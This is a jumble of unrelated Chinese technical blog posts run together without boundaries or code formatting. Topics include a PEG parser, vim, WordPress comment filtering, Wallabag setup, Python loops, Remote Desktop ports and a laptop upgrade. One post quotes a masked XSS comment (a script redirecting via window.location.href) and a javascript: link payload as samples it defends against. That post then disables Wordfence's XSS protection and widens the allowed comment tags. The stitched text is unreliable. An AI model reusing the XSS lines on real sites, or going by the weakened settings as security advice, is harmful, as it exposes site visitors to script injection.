方法,它可以像解析类方法一样,表示执行成功或失败。expect()
的参数是一个预期的标记——一个字符串(像“+”)或者一个标记类型(像NAME
)。Node
对象,在失败时返回 None
。Node
类可以超级简单:class Node:
def __init__(self, type, children):
self.type = type
self.children = children
class Parser:
def __init__(self, tokenizer):
self.tokenizer = tokenizer
def mark(self):
return self.tokenizer.mark()
def reset(self, pos):
self.tokenizer.reset(pos)
def expect(self, arg):
token = self.tokenizer.peek_token()
if token.type == arg or token.string == arg:
return self.tokenizer.get_token()
return None
class ToyParser(Parser):
def statement(self):
if a := self.assignment():
return a
if e := self.expr():
return e
if i := self.if_statement():
return i
return None
def expr(self):
if t := self.term():
pos = self.mark()
if op := self.expect("+"):
if e := self.expr():
return Node("add", [t, e])
self.reset(pos)
if op := self.expect("-"):
if e := self.expr():
return Node("sub", [t, e])
self.reset(pos)
return t
return None
def term(self):
# Very similar...
def atom(self):
if token := self.expect(NAME):
return token
if token := self.expect(NUMBER):
return token
pos = self.mark()
if self.expect("("):
if e := self.expr():
if self.expect(")"):
return e
self.reset(pos)
return None
token
库中导入。(这能令我们快速地进入 Python 的标记过程;但如果想要构建一个更加通用的 PEG 解析器,则应该探索一些其它方法。)expr
是左递归的,但我的解析器用了右递归,因为递归下降解析器不适用于左递归的语法规则。 def statement(self):
with self.alt():
return self.assignment()
with self.alt():
return self.expr()
with self.alt():
return self.if_statement()
raise ParsingFailure
atom()
中用来识别带括号的表达式的 if-语句,可以变成: with self.alt():
self.expect("(")
e = self.expr()
self.expect(")")
return e
statement: assignment | expr | if_statement
expr: expr '+' term | expr '-' term | term
term: term '*' atom | term '/' atom | atom
atom: NAME | NUMBER | '(' expr ')'
assignment: target '=' expr
target: NAME
if_statement: 'if' expr ':' statement
NAME
和 NUMBER
是标记符(token),预定义在语法之外。引号中的字符串如 ’+’ 或 ‘if’ 也是标记符。(我以后会讲讲标记符。)语法规则以其名称开头,跟在后面的是 :
号,再后面则是一个或多个以 |
符号分隔的可选内容(alternatives)。expr
和 term
)是左递归的,而 pgen 还不足以聪明地解析。这通常需要通过重写规则来解决,例如(在保持其它规则不变的情况下):expr: term ('+' term | '-' term)*
term: atom ('*' atom | '/' atom)*
*
来创建重复,所以这里的 expr
规则就意味着:它是一个术语(term),跟着零个或多个语句块,语句块内是加号跟术语,或者是减号跟术语。statement
的可选内容。(为什么呢?pgen 的自动解析器就是这样工作的。)answer = 42
NAME
(值是 answer
),‘=’ 和 NUMBER
(值为 42)。在程序开始时,我们拥有的唯一的前向标记符是 NAME
。此时,我们试图满足的规则是 statement
(这个语法的起始标志)。此规则有三个可选内容:expr
、assignment
以及 if_statement
。我们可以排除if_statement
,因为前向标记符不是 “if”。expr
与 assignment
都能以 NAME
标记符开头,因此就会引起歧义(ambiguous),pgen 会拒绝我们的语法。FIRST
组的东西,如果在给定的点上,FIRST 组出现了重叠选项,它就会抱怨)(译注:抱怨?应该指的是解析不下去,前文译作了罢工)。table[index + 1].name.first = 'Steven'
SyntaxError
。statement: assignment_or_expr | if_statement
assignment_or_expr: expr ['=' expr]
target
语法。call: atom '(' arguments ')'
arguments: arg (',' arg)*
arg: posarg | kwarg
posarg: expr
kwarg: NAME '=' expr
NAME
到底是 posarg
的开头(因为 expr
可能以 NAME
开头)还是 kwarg
的开头。arg: expr ['=' expr]
foo((a)=1)
这样的东西,给了它跟 foo(a=1)
相同的含义,直到 Python 3.8 时才修复掉。)_pydecimal.py
,它大约有 223 千字节(译注:kilobytes,即 KB)。在一个 GB 级的世界里,这基本不算什么。ast
模块而公开。这个模块还允许你从头构建 AST 节点,或是修改现有的 AST 节点,然后你可以将新的节点编译成字节码。parser
模块,解析树同样能面向 Python 的用户开放,但它使用起来太麻烦了,因此相比于 ast
模块,它就过时了。)ctrlp vim 插件是一个可以快速打开文件的工具,输入部分文件名,就能自动找到,然后快速选择打开, 不用退出 vim 去找文件然后打开,相比 NERD Tree 这种文件浏览的插件也更方便。
但是,默认情况下 ctrlp 可能找不到你想要的文件,因为默认只会展示 10 个搜索结果,而想要的文件可能不在这 10 个里。
例如,要打开 fs/aio.c,默认的结果如下:
很显然不是想要的结果。
这里有两个办法:
增加搜索的结果,默认是 10,增加到 100 就能满足需求,如果在增加,会感觉到明显变慢,因为每次搜索的量更大了
let g:ctrlp_match_window = 'bottom,order:btt,min:1,max:10,results:100'
使用正则匹配,可以添加配置
let g:ctrlp_regexp = 1
或者,在 ctrlp 界面,按 c-r
组合键来切换。
好久没上我的测试站点,发现多了不少评论(明明我从来没公开过链接,却还是被扫到了 ),其中一条引起我的注意:
***<script>alart(*****);</script>;*****<script>window.location.href='http://*****';</script>******
,打开评论所在页面一看,果然是 xss攻击 。测试站点没有装Wordfence,所以才让攻击者有可承之机,但我平时不会开放测试站的访客访问,多装一个Wordfence很浪费资源,于是我决定修改下评论功能。小站评论框上方一直有这样一句话 Markdown Supported while </> Forbidden
,但实际上评论html也是可以解析的,我觉得从这入手比较好,正巧Sakura主题评论插入图片的方式使用的是安全的BBCode,如果再加入仅允许Markdown评论的功能,那绝大多数XSS就直接被干掉了 。话不多说,下面记录下我的修改过程。
此条为必须,采用Ajax提交评论可以在评论内容写入数据库之前再对评论进行一次检查。Sakura已自带Ajax评论,所以此步省略,Ajax评论引入也很简单,如需了解更多,参考这位大佬写的 WordPress Ajax 提交评论的实现,简单易懂。
WordPress自带了一个检查评论者邮箱是否为正常邮箱的功能,所以我不再重复添加了。这里主要是验证邮箱是否有效,用到的是 checkdnsrr()
函数,查询评论者邮箱的所属域名有没有MX记录,使用方法如下:
以Sakura主题为例,检查Ajax传入的评论参数 $incoming_comment
,得到评论邮箱 $incoming_comment['comment_author_email']
,使用 explode()
和 array_pop()
函数得到邮箱域名,再用 checkdnsrr()
函数函数检查域名DNS解析中有无 MX
记录。代码如下:
function spirit_comment_check($incoming_comment) {
if(checkdnsrr(array_pop(explode("@",$incoming_comment['comment_author_email'])),"MX") === false)
siren_ajax_comment_err('邮箱写错啦(→_→)<br>Oops,Invalid email!');
return( $incoming_comment );
}
if(!is_user_logged_in())
add_filter( 'preprocess_comment', 'spirit_comment_check' );
我使用的WP-Editor.md插件,支持评论Markdown,所以无需再引入其他文件来解析评论中的Markdown,那么重点就在如何禁止评论使用HTML标签。PHP自带了一个 strip_tags()
函数,可以把字符串中的HTML标签全部过滤掉,于是就有了下面的代码。
function spirit_comment_check($incoming_comment) {
if(checkdnsrr(array_pop(explode("@",$incoming_comment['comment_author_email'])),"MX") === false) {
siren_ajax_comment_err('邮箱写错啦(→_→)<br>Oops,Invalid email!');
}else{
if($incoming_comment['comment_content'] != strip_tags($incoming_comment['comment_content'])){
siren_ajax_comment_err('评论只支持Markdown啦,见谅╮( ̄▽ ̄)╭<br>Markdown Supported while <i class="fa fa-code" aria-hidden="true"></i> Forbidden');
}
}
return( $incoming_comment );
}
if(!is_user_logged_in())
add_filter( 'preprocess_comment', 'spirit_comment_check' );
但这又有个问题,如果评论者输入的代码块中,包含了 <
的HTML标签,那么就不能提交,于是我又想到一个办法,去掉评论内容中的代码块之后再检查有无HTML标签,下面是修改版:
function spirit_comment_check($incoming_comment) {
$re = '/```([\s\S]*?)```[\s]*|`{1,2}[^`](.*?)`{1,2}|\[.*?\]\([\s\S]*?\)/m';
if(checkdnsrr(array_pop(explode("@",$incoming_comment['comment_author_email'])),"MX") === false) {
siren_ajax_comment_err('邮箱写错啦(→_→)<br>Oops,Invalid email!');
}else{
if(preg_replace($re,'temp',$incoming_comment['comment_content']) != strip_tags(preg_replace($re,'temp',$incoming_comment['comment_content']))){
siren_ajax_comment_err('评论只支持Markdown啦,见谅╮( ̄▽ ̄)╭<br>Markdown Supported while <i class="fa fa-code" aria-hidden="true"></i> Forbidden');
}
}
return( $incoming_comment );
}
if(!is_user_logged_in())
add_filter( 'preprocess_comment', 'spirit_comment_check' );
正则解释如下:
```([\s\S]*?)```[\s]*
过滤掉代码片段,`{1,2}[^`](.*?)`{1,2}
过滤掉行内代码,\[.*?\]\([\s\S]*?\)
过滤掉链接,因为有时候链接标题也会带 <
字符。开始我也担心过滤掉链接会增加被XSS攻击的风险(类似于 [Click Me](javascript:alert(***))
这样的语句),但发现WordPress的kses会自动转义这样的语句,所以就放心使用啦~
完成之后我使用访客模式打开了小站,测试评论功能时发现一个问题,评论部分Markdown格式不能转换,比如:
/**
* nth element in the fibonacci series.
* @param n >= 0
* @return the nth element, >= 0.
*/
function fib(n) {
var a = 1, b = 1;
var tmp;
while (--n >= 0) {
tmp = a;
a += b;
b = tmp;
}
return a;
}
document.write(fib(10));
正常情况下会解析为
<pre><code class="language-javascript ">
/**
* nth element in the fibonacci series.
* @param n >= 0
* @return the nth element, >= 0.
*/
function fib(n) {
var a = 1, b = 1;
var tmp;
while (--n >= 0) {
tmp = a;
a += b;
b = tmp;
}
return a;
}
document.write(fib(10));
</code></pre>
但WP-Editor.md将其解析为了
<code>
/**
* nth element in the fibonacci series.
* @param n >= 0
* @return the nth element, >= 0.
*/
function fib(n) {
var a = 1, b = 1;
var tmp;
while (--n >= 0) {
tmp = a;
a += b;
b = tmp;
}
return a;
}
document.write(fib(10));
</code>
这样的话代码高亮就失效了,体验很是不好。此外还有标题、表格、列表等也不会解析...我反复检查了插件,又翻了不少WordPress的Hook,把插件改了又改,始终没有修复这个Bug(主要还是我太菜了 ,最终只能从修改WordPress限制入手了,将下面代码加到functions.php
//打开评论HTML标签限制
function allow_more_tag_in_comment() {
global $allowedtags;
$allowedtags['pre'] = array('class'=>array());
$allowedtags['code'] = array('class'=>array());
$allowedtags['h1'] = array('class'=>array());
$allowedtags['h2'] = array('class'=>array());
$allowedtags['h3'] = array('class'=>array());
$allowedtags['h4'] = array('class'=>array());
$allowedtags['h5'] = array('class'=>array());
$allowedtags['ul'] = array('class'=>array());
$allowedtags['ol'] = array('class'=>array());
$allowedtags['li'] = array('class'=>array());
$allowedtags['td'] = array('class'=>array());
$allowedtags['th'] = array('class'=>array());
$allowedtags['tr'] = array('class'=>array());
$allowedtags['table'] = array('class'=>array());
$allowedtags['thead'] = array('class'=>array());
$allowedtags['tbody'] = array('class'=>array());
$allowedtags['span'] = array('class'=>array());
}
add_action('pre_comment_on_post', 'allow_more_tag_in_comment');
我添加了部分常用的标签,如果后续遇到不能解析的可尝试在里面继续加入更多标签。最后关闭Wordfence的xss防护,防止不能提交带有 <script
的代码块。
以上就是本次的修改历程,你有什么看法或者是对文中功能的优化吗?欢迎在评论区与我探讨。
所谓某些场景,算了,不描述了,总之总有那么几种需求让你的业务只能前进不能后退,这个页面完成进入下一个页面,想退回来,没门。微应用就是个HTML5的页面,被载入到了钉钉内置浏览器而已。所以控制页面返回无需后端判断,前端页面直接控制就可以。知道怎么做就容易了,去翻钉钉文档的前端API,本想着迎刃而解,不料,IOS是迎刃而解,安卓却了成程咬金杀将了出来。
直接看图吧,钉钉的文档中很明显的表示安卓端如果要阻止后退的话,需要调用事件回调函数。IOS可以直接阻止。这特么就尴尬了,前端可以做的事情非要后端插一脚。
博主前端能力是战斗力只有5的渣渣,尝试了下日常所用的阻止发现在我的米6上不生效,部分其它安卓机可以,这就不得度娘一番,最终找到了这串代码,顺道和ios的集成到一起算了,看代码。
1、history.pushState()这个方法是html5的新特性,一并出现的还有一个history.replaceState()方法。使用 history.pushState()后,会改变 XMLHttpRequest 请求时 HTTP header头中 referrer 的值。referrer 记录了当前页面文件(this)的 URL。
2、document.URL是通过js获取当前的页面地址。
3、addEventListener()方法是向指定的事件添加一个句柄。
4、popstate事件,当历史记录被更改的时候将会触发pushState事件。如果历史记录是由history.pushState()创建的或者对history.replaceState()的调用产生影响,popstate事件的state属性就包含了上述对象的副本。
Waterbear
工具,提供可视化的操作界面,通过简单而直观的交互方式,实现图形编程。CircleDB
。BaseHTTPServer
。另外,它还介绍了 CGI(通用网关接口) 协议,给服务器实现了运行外部程序的功能。We hope that the experiences of the authors in this book will help you grow out of your comfort zone in your own programming practice.
我们希望本书作者的经验能够帮助您在自己的编程实践中成长。
因前端的需要,后台的一个数据集在前台需要做拆分嵌套查询,而TP5的volist虽然可以输出指定部分数据,但是却无法自动进行拆分动作。关于offset不能使用变量的问题,在很久之前的一篇水文里面提过,具体看这里:https://www.anji66.net/article/id/51.html。而这次,又碰到前端给我出了一个这样的问题,因为前端的效果没有合适的展现方式,必须先循环ul,在ul中循环12个li后跳出,将余下的数据再循环ul,以此类推。这就很尴尬了,管理后台上用户上传的数据会不断更新,而使用offset静态参数的话,无法准确控制后面的循环。
思路:先查询数据集然后进行计数,再将计数进一取整,然后根据取整数进行数据集拆分重组,最后返回给前台。这里用到进一取整函数ceil(),然后是拆分数组函数array_chunk()。因为需要拆分查询结果,所以第一步就不单独做count聚合查询了。直接上图吧。
前台我直接用foreach循环了,当然这时候继续使用volist也可以的。自便吧,直接上个示例吧
逻辑很简单,后台构造好以后可以dump下结构看看,前台就一目了然了,水文结束,匿了~
如果你使用过Firefox,那么你对Pocket一定不陌生。与Pocket类似,Wallabag是用来保存网页的开源自托管应用,主要功能就是将要阅读或者一时没有读完的文章同步到Wallabag服务器,供使用者在以后阅读。更多信息请访问官网 https://wallabag.org/ 。当然如果你没有自己的服务器,可以考虑使用 wallabag.it 托管解决方案。
我平时在网上阅读到有意思或者没读完的文章时,一般会保存在Chrome的书签或者直接收藏在Telegram,虽然同步是可以同步,但感觉还是有点别扭,Google一番终于找到了这个神器,我已经将它作为稍后阅读的生产力工具使用。同时,也可以将书签存在上面。虽然Wallabag在配置难度、界面体验上与一些商业软件相比略有逊色,但依然值得一试。
Wallabag具有以下特性:
先来一张完成图:
ps:搭建Wallabag之前请配置好相关环境,博主所用系统为Debian 9 ,已安装了 OneinStack
curl -s https://getcomposer.org/installer | php
之后可以就通过 php composer.phar
来运行composer了
请阅读 文档 以查看 Wallabag 安装依赖。
我是用的 OneinStack,与apt不同,这里以安装tidy为例
apt install libtidy-dev ## 必须库
cd /root/oneinstack/src
tar zxvf php-7.3.5.tar.gz ## 解压已经安装的php版本
cd php-7.3.5/ext/tidy
/usr/local/php/bin/phpize
./configure --with-php-config=/usr/local/php/bin/php-config
make && make install
cd /usr/local/php/lib/php/extensions
ls ## 看到no-debug-non-zts-20180731类似文件夹
cd no-debug-non-zts-20180731
ls ## 查看有没有 tidy.so,如果有,证明编译成功
加载 tidy
echo 'extension=tidy.so' > /usr/local/php/etc/php.d/ext-tidy.ini
在 /usr/local/php/etc/php.ini
中搜索 disable_functions
删除以下函数:
常规操作,phpmyadmin和命令行都行,这里使用命令行
mysql -u root -p
MySQL [(none)]> CREATE DATABASE wallabag;
MySQL [(none)]> CREATE USER wallabag@localhost;
MySQL [(none)]> SET PASSWORD FOR wallabag@localhost= PASSWORD("123456");
MySQL [(none)]> GRANT ALL PRIVILEGES ON wallabag.* TO wallabag@localhost IDENTIFIED BY '123456';
MySQL [(none)]> FLUSH PRIVILEGES;
MySQL [(none)]> \q
首先在 Github 下载 Wallabag
git clone https://github.com/wallabag/wallabag
checkout最新分支,我安装时是2.3.8:
$ cd wallabag/
$ git checkout 2.3.8
Note: checking out '2.3.8'.
You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.
If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:
git checkout -b <new-branch-name>
HEAD is now at 9bbafdaa... Release wallabag 2.3.8
在目录中继续输入
SYMFONY_ENV=prod php composer.phar install --no-dev -o --prefer-dist
SYMFONY_ENV=prod
告诉symfony我们正在生产环境中安装Wallabag。该 --no-dev
标志确保在生产环境中不安装任何开发包。composer将下载并安装所有必需的依赖项。--prefer-dist
表示下载zip包而不是直接clone。
之后会要求配置一些东西,根据提示操作就好:
我用的mysql
Creating the "app/config/parameters.yml" file
Some parameters are missing. Please provide them.
database_driver (pdo_mysql): ## 我用的mysql,直接回车
database_host (127.0.0.1): localhost## 自定义
database_port (null): ## 自定义
database_name (wallabag): ## 数据库名
database_user (root): ## 数据库用户名
database_password (null): ## 数据库密码
database_path (null): ## 路径
database_table_prefix (wallabag_): ## 前缀
database_socket (null): ## 自定义
database_charset (utf8mb4): ## 自定义
domain_name ('https://your-wallabag-url-instance.com'): https://mark.spiritx.xyz ## 域名
看需求,我是个人使用,没配置邮箱
mailer_transport (smtp):
mailer_user (null):
mailer_password (null):
mailer_host (127.0.0.1):
mailer_port (false):
mailer_encryption (null):
mailer_auth_mode (null):
locale (en):
secret (CHANGE_ME_TO_SOMETHING_SECRET_AND_RANDOM):
twofactor_auth (true):
twofactor_sender ([email protected]):
fosuser_registration (true):
fosuser_confirmation (true):
from_email ([email protected]):
默认就好
rss_limit (50):
rabbitmq_host (localhost):
rabbitmq_port (5672):
rabbitmq_user (guest):
rabbitmq_password (guest):
rabbitmq_prefetch_count (10):
redis_scheme (tcp):
redis_host (localhost):
redis_port (6379):
redis_path (null):
redis_password (null):
sentry_dsn (null):
完成前面的步骤后,开始Wallabag的安装,输入下面命令
php bin/console wallabag:install --env=prod
之后如下:
Wallabag installer
==================
Step 1 of 4: Checking system requirements.
------------------------------------------
------------------------ -------- ----------------
Checked Status Recommendation
------------------------ -------- ----------------
PDO Driver (pdo_mysql) OK!
Database connection OK!
Database version OK!
curl_exec OK!
curl_multi_init OK!
------------------------ -------- ----------------
[OK] Success! Your system can run wallabag properly.
Step 2 of 4: Setting up database.
---------------------------------
It appears that your database already exists. Would you like to reset it? (yes/no) [no]:
>
Creating schema...
Clearing the cache...
Database successfully setup.
Step 3 of 4: Administration setup.
----------------------------------
Would you like to create a new admin user (recommended)? (yes/no) [yes]:
>
Username [wallabag]:
> spirit ## 输入用户名
Password [wallabag]:
> ## 输入密码(不会显示)
Email [[email protected]]:
> ## 输入邮箱(随便啦,反正我没配置邮件服务器
Administration successfully setup.
Step 4 of 4: Config setup.
--------------------------
Config successfully setup.
[OK] Wallabag has been successfully installed.
[OK] You can now configure your web server, see https://doc.wallabag.org
装完把Wallabag移动到域名目录,别忘了 chown -R www.www ./*
,防止出现api访问错误
完成后访问 web
目录下的 app.php
就能使用了,但我觉得这样不好看,于是重新写了下Nginx
将 index index.php;
修改为 index app.php;
将 root /data/wwwroot/mark.spiritx.xyz;
修改为 root /data/wwwroot/mark.spiritx.xyz/web;
增加一个块
location / {
try_files $uri /app.php$is_args$args;
}
重庆Nginx之后直接访问域名 mark.spiritx.xyz 就能使用啦
Wallabag提供了浏览器插件和手机app,可以更方便的访问Wallabag,下面以chrome扩展为例
点击 API clients management
后再点击Create a new client
创建一个api
在扩展中填入刚才创建的api的信息,保存
之后就能愉快地使用啦~ ~
附地址:
Firefox addon: https://addons.mozilla.org/firefox/addon/wallabagger/
Chrome addon: https://chrome.google.com/webstore/...
Opera addon: https://addons.opera.com/en/extensions/details/wallabagger/?display=en
Android: via F-Droid / via Google Play
iOS: https://itunes.apple.com/app/wallabag-2/id1170800946?mt=8
Windows Phone: https://www.microsoft.com/store/apps/wallabag/9nblggh11646
if 判断条件1:
做事情1
elif 判断条件2:
做事情2
else:
做其它事
if(判断条件1)
{
做事情1
}
else if(判断条件2)
{
做事情2
}
else
{
做其它事
}
#if 常量表达式1
// 编译1
#elif 常量表达式2
// 编译2
#else
// 编译3
#endif
for ( init; condition; increment ){
statement(s);
}
// java
for(int x = 10; x < 20; x = x+1) {
System.out.print("value of x : " + x );
System.out.print("\n");
}
// java
int[] a = {1,2,3};
for(int i : a){
System.out.print(i + ",");
}
// C#
int[] a = {1,2,3};
foreach(int i in a){
System.Console.WriteLine(i);
}
for iterating_var in sequence:
statements(s)
# 例子
for i in range(3):
print(i)
for i in "hello":
print(i)
# 例1,普通可迭代对象
x = [1, 2, 3]
for i in x:
print(i)
for i in x:
print(i)
# 例2,迭代器或生成器
y = iter([1, 2, 3])
# y = (i for i in [1,2,3])
for i in y:
print(i)
for i in y:
print(i)
自遍历
过程,同时在经过 for 循环的 它遍历
后,也不会破坏原有的结构。(这两个是我创造的概念,详见《Python进阶:迭代器与迭代器切片》)。x = [1, 2, 3]
for i in x:
print(i, end = " ")
else:
print("ok")
# 输出:1 2 3 ok
x = [1,2,3]
for i in x:
if i % 2 == 0:
print(i) # match
break
else:
print("mismatch")
execute the for-loop (or while-loop)
if you reach a `break`, jump to the end of the `for...else` block
else execute the `else` suite
阅读 Python 的历史,从中你可以看到设计者们对功能细节的打磨过程,最终你就明白了,Python 是如何一步一步地发展成今天的样子。
print(*objects, sep=' ', end='\n', file=sys.stdout, flush=False)
,与升级前的 print 语句是天壤之别啦。print >> mylogfile, 'this message goes to my log file'
print('this message goes to my log file', file = mylogfile)
print("点个赞吧!")
printf("点个赞吧!");
print_r('点个赞吧!');
var_dump('点个赞吧!');
NSLog(@"点个赞吧!");
System.out.println("点个赞吧!");
console.log("点个赞吧!");
cout << "点个赞吧!" << endl;
Console.WriteLine("点个赞吧!");
writeln('点个赞吧!')
fmt.Println("点个赞吧!");
Response.Write("点个赞吧!");
alert("点个赞吧!")
echo "点个赞吧!"
puts "点个赞吧!"
say "点个赞吧!";
承接上篇:关机后远程唤醒的配置,简单实现广域网远程开机和连接。去年那电脑挂了以后,一直也没用上远程桌面,所以上篇中提到的配置远程桌面的文章也一直没写,最近要用上了,顺手记录一下。虽然网上有很多类似教程,不过很少有从配置远程桌面到内网穿透的全部过程,因系统版本存在不同,所以关于注册表的可能略有差异,原理一样的,多看下值就明白了。当然如果不想搞这么复杂,TeamViewer远控软件操作简单,连接稳定,你值得拥有。不过西枫里还是喜欢windows的远程桌面,就是不想装个软件,无他。
1、允许连接。需要在系统属性里面打开远程桌面连接。具体:右键此电脑->属性->远程设置->允许远程连接到此计算机。如图所示。
2、账户授权。上图中选择用户按钮点开,一般情况下当前登录系统的管理员账户默认已经取得了授权,如果没有显示当前账户已经有访问权的话,需要通过下方添加按钮来添加允许账户,操作很简单,就不说了。
具体查看:右键此电脑->管理->服务和应用程序->服务。右侧服务列表中,按R键快速定位到Remote Desktop这里。具体看图中这两项,双击打开,确保看到服务状态显示为正在运行。
好,其实如果你做好了上述两步,你的远程桌面在局域网端已经可以使用了。接下来,我们需要对安全性做下设置,接着再开启广域网访问。
1、系统默认的远程桌面端口3389,风险太高,所以改个自定义端口是必不可少的。因为在远程桌面的设置里面并没有提供端口修改的地方,需要进入注册表进行修改。具体:打开注册表编辑器,在开始运行或者搜索里面输入regedit就可以打开或找到。,然后看左侧的注册表树,定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentContro1Set\Control\Tenninal Server\Wds\Tds\tcp
这里。右侧找到PortNumber项,双击切换到十进制,改成你自定义的端口。建议改到高位端口。啥,什么是高位端口,自行百度一下吧,这里不是本文的重点。
2、改完上述位置,再次定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentContro1Set\Control\Tenninal Server\WinStations\RDP-Tcp
。同样右侧PortNumber项双击,十进制,改成和上述相同的端口号。
当然有人说直接关闭系统防火墙不就好了,多省事。因为我们后面需要在广域网访问,电脑是直接暴露在公网上的,关闭防火墙,你是想找死么?
1、具体操作:在注册表编辑器中定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentContro1Set\services\sharedAccess\Defaults\FirewallPolicy\FirewallRules
。右侧按R键快速定位到RemoteDesktop-UserMode-In-TCP项,双击后再数值数据中找到LPort=3389这里,将3389改成前述你自定义的端口号。其实如果只用动态域名访问远程桌面的话,有In-Tcp这一项就够了,为了可能会使用到UDP端口软件操作的话,将下面一项RemoteDesktop-UserMode-In-UDP中的LPort的端口号一并给改了。
2、和前面改端口号一样,防火墙规则也出现在两处。另一处定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentContro1Set\services\sharedAccess\Parameters\FirewallPolicy\FirewallRules
和上面这步一样,改LPort端口号即可,不说了。
3、改完注册表后,重启电脑。然后进入控制面板,windows防火墙,打开后左侧高级设置,入站规则,拉到最下,在远程桌面的两个项目中双击,切换到协议和端口,看下本地端口是否显示的和你前面设置的自定端口一致,如果不一致,证明前述操作没有生效,请检查一下。具体看图吧。
这个其实在文章开头提到的那篇广域网开机的文章中已经讲过了,这里不详细说了,因为每个人的路由器都不同,不过设置都大同小异。我这里主要是要新建一个虚拟服务器规则。内外部端口号全部设置成前面设置的那个自定义端口好,后面的协议选择ALL,就是包含了TCP和UDP协议的。
做到这一步后,就已经能在广域网实现远程桌面了,这时候你再远程桌面连接里面输入IP加端口号就能连接了。不过等等,难道我每次在外面连家里电脑需要先查看下IP不成?当然不用。
上一篇文章里面也提到了动态域名绑定,不多说了。以前一直用花生壳,最近这个企业级路由里面还内置了科迈和3322的动态域名。科迈的页面太搓,没申请。3322的申请了一个,速度还不错诶,感觉不花生壳要好。在路由器上绑定好了动态域名,设置好DMZ主机和虚拟服务器后。所有操作均已完成。
最后可以尝试下在另外一个网络下,通过打开远程桌面连接窗口,输入动态域名加端口号,点连接试试看吧。
话说最近女儿总是霸占着我的电脑看她的巧虎、佩奇、猪猪侠、汪汪队,导致我需要临时处理个事情得跟她借半天的电脑,一急躁弄的不好又把她惹的哭鼻子,没办法就临时把我的库存笔记本掏出来应个急啥的。我这台库存笔记本,打从2011年买来,几乎就没怎么用过,以前偶尔带着去客户那儿,后来就一直放仓库吃灰。除了该死的日立硬盘嘎嘎响之外,倒也没啥毛病,毕竟用的少。所以为了临时能解决个工作的事情,打算给这破本做个升级。主要是增加个内存,换个固态啥的。
1、内存是第一要务,所以得找合适的内存,原机只有4G,现在4G带个win10简直是噩梦。笔记本内存有电压区分,有1.35V和1.5V等多种版本,所以那天我拆了后盖看了一下,在内存插槽的塑料支架上印着有,是1.5V的。再一个看下原内存规格,DDR3的,容量么,我想8G内存临时工作用用够了,所以万能淘宝,还是很容易找到合适的内存的,上次攒台式机,对威刚的印象大为改观,所以这次还选了威刚的这款,如你需要,某宝点击这里查看,某东点击这里查看。
2、提升性能立竿见影的当然是用固态硬盘。笛大佬鼎力推荐,“偷西吧”的货应该可靠。240G装系统装软件足够了,说不定还折腾两个分区出来倒腾linux。另外就是我要的是增加固态,而不是单纯替换机械,所以我得拆了我的光驱,这就牵扯一个问题,需要适配一个光驱支架,有尺寸大小的区别,所以这个我直接咨询了卖家,没去查原光驱参数了。这个破本需要12.7寸的支架。卖家还送了一堆杂七杂八的工具,链接在这里,某宝点击查看。某东点击查看。
3、换了该死的日立,嘎啦嘎啦的声响我觉得是日立的通病,况且这是块750G的硬盘,这么奇葩的容量百分百的阉割盘,指不定哪里体格不达标(坏道)。一般于我而言,机械硬盘希捷是首选,临时工作用,1T容量足矣足矣,某宝链接地址,某东链接地址。那么问题来了,原日立盘怎么办,毕竟扔了可惜,留着鸡肋。要不上个硬盘盒改移动硬盘吧。
4、额外买个硬盘盒改造移动硬盘。这个那帮坏人推荐我买斐讯的壳,泥煤,斐讯这种辣鸡怎么能入我的法眼。我还是买个便宜货随便用用好了,毕竟一个16G的U盘都还没塞满。对了,你们要买移动硬盘盒,无需买那种额外供电的,应为一块机械硬盘的耗电量小的惊人。你问我最后买了啥硬盘盒,囔,某宝链接地址,某东链接地址。
5、原电脑用的1366*768的奇美屏,尼玛像素颗粒感太强悍,难受,所以这也是为啥这台电脑一直成为我库存的因素之一。网上找了一圈,都没有合适的IPS屏,甚至大多数买家直接跟我说不能升级,不能更换,因为电脑太老了。最后找到了一家,卖家满口说完全可以换,我也就没多问了,只要1920*1080的高清屏就行,不要那么大的像素间距。最后老板发了这块15.6寸的TN屏面板过来,另外加了一个高分线,因为原屏线不能支持高分辨率,只能换。可以点击这里查看屏幕面板,友达的屏,虽然不是我中意的,虽然不是IPS的,不过比原厂的好太多了,将就用吧。
1、先来厘清几个概念,关于电脑的ABCD面,笔记本合上,从上至下,分别是外壳A面,屏幕B面,键盘C面,后盖D面。关于D面的的区域,我列在途中了,主要是电池仓,扩展仓、检修仓。
2、拆掉四个塑胶脚垫,会露出4个螺丝。拆掉其中两个就能打开扩展仓了。左边是硬盘仓,右边是内存仓。看下内存规格。安装内存,笔记本内存是倾斜插入,然后平按至两个卡扣自动卡到位就OK了。硬盘需要拆除上面的三个螺丝,然后拽住尾部的黑色拉力带,横向拉动,就能取下硬盘的了,拧下硬盘支架上的四个螺丝,让支架和硬盘分家,然后将固态硬盘装在硬盘支架上,拧好螺丝,原样插入即可。
3、拆除键盘和排线。得先拆除掉键盘,看下键盘顶部的横向位置,分别有多个图中这样的卡扣,选择平口螺丝刀将卡扣顶回去,然后键盘就自动翘起来了,依次打开这些卡扣就能取下键盘,但是要注意,键盘下面有排线,别一下力度太大拉断了排线。这时将键盘翻过来,就能看到这排线了,图中三个排线分别是键盘排线、触摸板排线、顶部的是电源等功能键的排线。拆开方式不尽相同。键盘的排线是最宽的这个,很简单用平口螺丝刀侧边在白色卡扣的两端分别按箭头方向用力,卡扣就松了,就能取下排线了。触摸板的排线就是键盘排线边上这根,仔细看,白色卡扣方式和键盘线不一样,所以需要用平口螺丝刀总下面往上撬起,翻过来,排线自动脱落。顶部的电源键排线和键盘排线相反,用螺丝刀侧口拨动黑色卡扣,排线自动脱落。
4、拆除光驱。途中这颗螺丝拧下,用螺丝刀顶住方框位置,按箭头方向用力拨动,光驱就从光驱位中移出了。对了,你们看到每个螺丝边上都印有编号,其实这是螺丝类型。这次整个拆装过程主要有这几个型号,X3,X4,X5,X7,X10。你可以把相同型号的螺丝放一起。装的时候就不会错了,而不需要将螺丝位置标注,那太二了点。
5、拆下光驱挡板备用,卖家送当挡板是薄片的,而原机是厚挡板,所以需要拆下这个挡板留用。将新买的机械硬盘装到硬盘支架上,然后将光驱上的固定支架拆下装到硬盘支架上。图中这个东西。
